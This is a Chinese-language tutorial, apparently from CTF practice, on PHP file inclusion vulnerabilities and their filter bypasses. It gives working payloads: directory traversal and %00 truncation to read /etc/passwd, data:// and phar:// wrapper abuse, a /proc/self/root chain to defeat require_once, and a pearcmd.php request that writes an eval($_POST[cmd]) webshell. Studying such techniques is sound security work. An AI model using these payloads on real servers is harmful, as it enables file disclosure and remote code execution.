文件包含
文件包含漏洞原理
include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
include_once:检查这个文件是否已经被导入,如果已导入,便不会再导入。
require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
require_once:和 require 类似,不同处在于 require_once 只导入一次。
文件包含类型
本地包含(LFI)
能够读取或执行包含本地文件
远程包含(RFI)
文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞
文件包含前提
1. 程序用 include() 等文件包含函数通过动态变量的范式引入需要包含的文件
2. 用户能够控制该动态变量
3. 要保证 php.ini 中 allow_url_fopen 和allow_url_include 要为 On
文件包含常见防御及绕过方式
双写绕过
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
这里我们以'../'为例: '..././'中的'../'被去除,则'..././'变为'../'以此来绕过
截断
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
这里对文件位置进行了限制,比较“难”去包含前面提到的种种文件
1、%00 截断
?file=../../../../../../../../../etc/passwd%00
2、%00 截断目录遍历
?file=../../../../../../../../../var/www/%00
3、路径长度截断
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
PHP 中的封装协议(伪协议)
file://
php://
data://
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64,base64编码的payload
php://input
filter:
更多关于php://filter的妙用还可以读P神的这篇文章
谈一谈php://filter的妙用
phar://
这里我们一一道题目为例
该靶场下存在一个about.inc文件
而url中却显示的是这样,猜测后端代码应该是包含了
include $_GET['moudle'].'.inc';
我们可以先写一个小马,再将小马以zip格式压缩,并将压缩后的文件后缀名改为.png上传
再来用phar://来解析
小马成功运行蚁剑连接
我们再来看一下后端代码
确实如此
zip://
其他有关文件包含的知识
require_once 绕过不能重复包含文件的限制
以[WMCTF2020]Make PHP Great Again为例
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
我们都知道require_once
在调用时php会检查该文件是否已经被包含过,而这里在前面就已经包含了文件,我们在后面再想包含'flag.php'时就不能实现了,而我们需要做到就是怎么绕过这个哈希表,让php认为我们传入的文件名不在哈希表中,又可以让php能找到这个文件,读取到内容。
payload=?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
详情原理可看此篇文章
php源码分析 require_once 绕过不能重复包含文件的限制
pearcmd.php到getshell
pear中可以利用的参数:
我们以一题为例:
源码如下
<?php
#flag is in flag.php
error_reporting(0);
show_source(__FILE__);
#No session.upload_progress!!!!
ini_set("session.auto_start","0");
ini_set("session.use_strict_mode","1");
$path=$_GET['path'];
if(is_null($path))
exit("<br>input sth bro~<br>");
echo "<br>you input=>".$path;
#No PHP protocol!
if(preg_match("/filter|input|data|phar|http|https|zlib|glob|rar|ogg|expect|ftp/i",$path)===0){
#No loggggggggggggggg~
if(preg_match("/log|access|error/i",$path)===0){
if(preg_match("/flag/i",$path)===0){
echo "<br>U did it!<br>";
include $path;
}else{
exit("<br>oh nooooooooo~<br>");
}
}else{
exit("<br>log file?oh nooooooo~<br>");
}
}else{
exit("<br>no protocol~<br>");
}
?>
禁止了session.upload_progress,禁止了伪协议读取,也禁止了文件包含日志文件
这里我们可以包含到pear中的文件,进而利用其中的特性来搞事。
config-create(创建默认配置文件),这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
payload:?path=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[cmd]);?>+/tmp/fuck.php
payload:?+config-create+/&path=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[cmd]);?>+/tmp/fuck.php
这两个payload是一样的,最好在BP上进行写入webshell,因为在浏览器上<>会自动url转码,这样会导致写入失败
更加详细的原理参考P神文章
Docker PHP裸文件本地包含综述